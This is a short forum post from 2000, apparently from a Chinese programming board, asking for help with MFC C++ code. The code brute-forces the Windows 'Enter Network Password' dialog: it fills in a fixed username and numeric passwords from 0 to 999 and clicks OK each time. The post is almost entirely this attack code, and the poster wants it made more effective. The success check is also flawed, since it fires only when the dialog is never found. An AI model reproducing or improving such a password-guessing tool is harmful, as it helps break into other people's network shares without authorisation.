一段程序, 答对者加分 欢迎高手!!
ufc 2000-08-27 02:45:00 面的程序,理论上应能实现,但对话框上的句柄老是不怎么爽
能有更好的办法吗?
void CTestDlg::OnStart()
{
// TODO: Add your control notification handler code here
char m_kepistr[10]={0};
int i=0;
int flag=0;
// for(i=0;i<50;i++)
for(i=0;i<1000;i++)
{
sprintf(m_kepistr,"%ld",i);
flag=BeginCracked(m_kepistr);
if(!flag)
{
MessageBox(m_kepistr);
break;
}
if(flag==2) i--;
MessageBox("wait");
}
//*/
}
int CTestDlg::BeginCracked(char *pass)
{
// TODO: Add your control notification handler code here
CWnd *m_GetHand;
CEdit *m_EditA,*m_EditB;
m_GetHand=CWnd::FindWindow(NULL,"输入网络密码");
if(!m_GetHand)
{
long int i=0;
while(1)
{
m_GetHand=CWnd::FindWindow(NULL,"输入网络密码");
if(m_GetHand) break;
i++;
if(i>300000000) return 0;
}
}
char name[15]={0};
strcat(name,"wwy");
m_EditA=(CEdit *)m_GetHand->GetDlgItem(8202);
m_EditB=(CEdit *)m_GetHand->GetDlgItem(8203);
m_EditA->SendMessage(WM_SETTEXT,(WPARAM) 0,(LPARAM)name);
m_EditB->SendMessage(WM_SETTEXT,(WPARAM) 0,(LPARAM)pass);
m_GetHand->SetActiveWindow();
m_GetHand->GetDlgItem(1)->SendMessage(BM_CLICK,(WPARAM) 0,(LPARAM) 0);
// m_EditA->Invalidate(TRUE);
// m_EditB->Invalidate(TRUE);
// m_GetHand->Invalidate(TRUE);
return 1;
//*/
}